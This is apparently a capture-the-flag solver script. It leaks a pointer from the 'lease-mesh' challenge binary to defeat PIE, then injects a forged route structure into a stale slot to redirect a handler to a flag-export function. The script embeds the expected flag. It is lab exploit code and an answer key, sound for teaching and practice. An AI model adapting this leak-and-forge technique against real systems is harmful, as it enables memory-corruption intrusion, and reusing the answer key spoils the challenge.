132 lines
3.5 KiB
Python
132 lines
3.5 KiB
Python
#!/usr/bin/env python3
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import argparse
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import os
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import socket
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import struct
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import subprocess
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import sys
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ROUTE_MAGIC = 0x4C454153454D4553
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APPROVED_ROUTE = 0x51524F4B
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ROUTE_SIZE = 144
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class Tube:
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def __init__(self, sock=None, proc=None):
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self.sock = sock
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self.proc = proc
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def recv(self, n=4096):
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if self.sock:
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return self.sock.recv(n)
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return os.read(self.proc.stdout.fileno(), n)
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def send(self, data):
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if self.sock:
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self.sock.sendall(data)
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else:
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os.write(self.proc.stdin.fileno(), data)
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def sendline(self, data):
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self.send(data + b"\n")
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def recvuntil(self, marker):
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out = b""
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while marker not in out:
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chunk = self.recv(1)
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if not chunk:
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raise EOFError(out)
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out += chunk
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return out
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def symbol_value(binary, name):
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out = subprocess.check_output(["readelf", "-sW", binary], text=True)
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for line in out.splitlines():
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fields = line.split()
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if len(fields) >= 8 and fields[-1] == name:
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return int(fields[1], 16)
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raise RuntimeError(f"symbol not found: {name}")
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def connect(args):
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if args.local:
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env = os.environ.copy()
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env["CTF_FLAG"] = args.flag
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proc = subprocess.Popen(
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[args.binary],
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stdin=subprocess.PIPE,
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stdout=subprocess.PIPE,
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stderr=subprocess.STDOUT,
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env=env,
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)
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return Tube(proc=proc)
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sock = socket.create_connection((args.host, args.port), timeout=5)
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return Tube(sock=sock)
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def choose(io, value):
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io.recvuntil(b">")
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io.sendline(str(value).encode())
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def main():
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parser = argparse.ArgumentParser()
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parser.add_argument("--host", default="127.0.0.1")
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parser.add_argument("--port", type=int, default=31338)
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parser.add_argument("--local", action="store_true")
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parser.add_argument("--binary", default="../public/lease-mesh")
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parser.add_argument("--flag", default="caplag{stale_handle_reclaimed_the_route}")
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args = parser.parse_args()
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route_status = symbol_value(args.binary, "route_status")
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flag_export = symbol_value(args.binary, "flag_export")
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io = connect(args)
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choose(io, 1)
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io.recvuntil(b"slot:")
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io.sendline(b"0")
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io.recvuntil(b"name:")
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io.sendline(b"east-mirror")
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io.recvuntil(b"memo:")
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io.sendline(b"leased partner route")
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choose(io, 4)
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io.recvuntil(b"slot:")
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io.sendline(b"0")
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io.recvuntil(b"handler=")
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leaked_handler = int(io.recvuntil(b" approved=")[: -len(b" approved=")], 16)
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pie_base = leaked_handler - route_status
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target = pie_base + flag_export
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choose(io, 2)
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io.recvuntil(b"slot:")
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io.sendline(b"0")
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forged = struct.pack("<Q", ROUTE_MAGIC)
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forged += b"export-reclaim".ljust(24, b"\x00")
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forged += struct.pack("<Q", 0x2605061337)
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forged += struct.pack("<Q", target)
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forged += struct.pack("<I", APPROVED_ROUTE)
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forged += struct.pack("<I", 0)
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forged += b"raw packet reclaimed stale route".ljust(88, b"\x00")
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forged = forged.ljust(ROUTE_SIZE, b"\x00")
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choose(io, 3)
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io.recvuntil(b"raw packet bytes:")
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io.sendline(str(len(forged)).encode())
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io.recvuntil(b"packet payload:")
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io.send(forged)
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choose(io, 5)
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io.recvuntil(b"slot:")
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io.sendline(b"0")
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data = io.recvuntil(b"}")
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flag = data[data.rfind(b"caplag{") :].decode()
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print(flag)
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if __name__ == "__main__":
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sys.exit(main())
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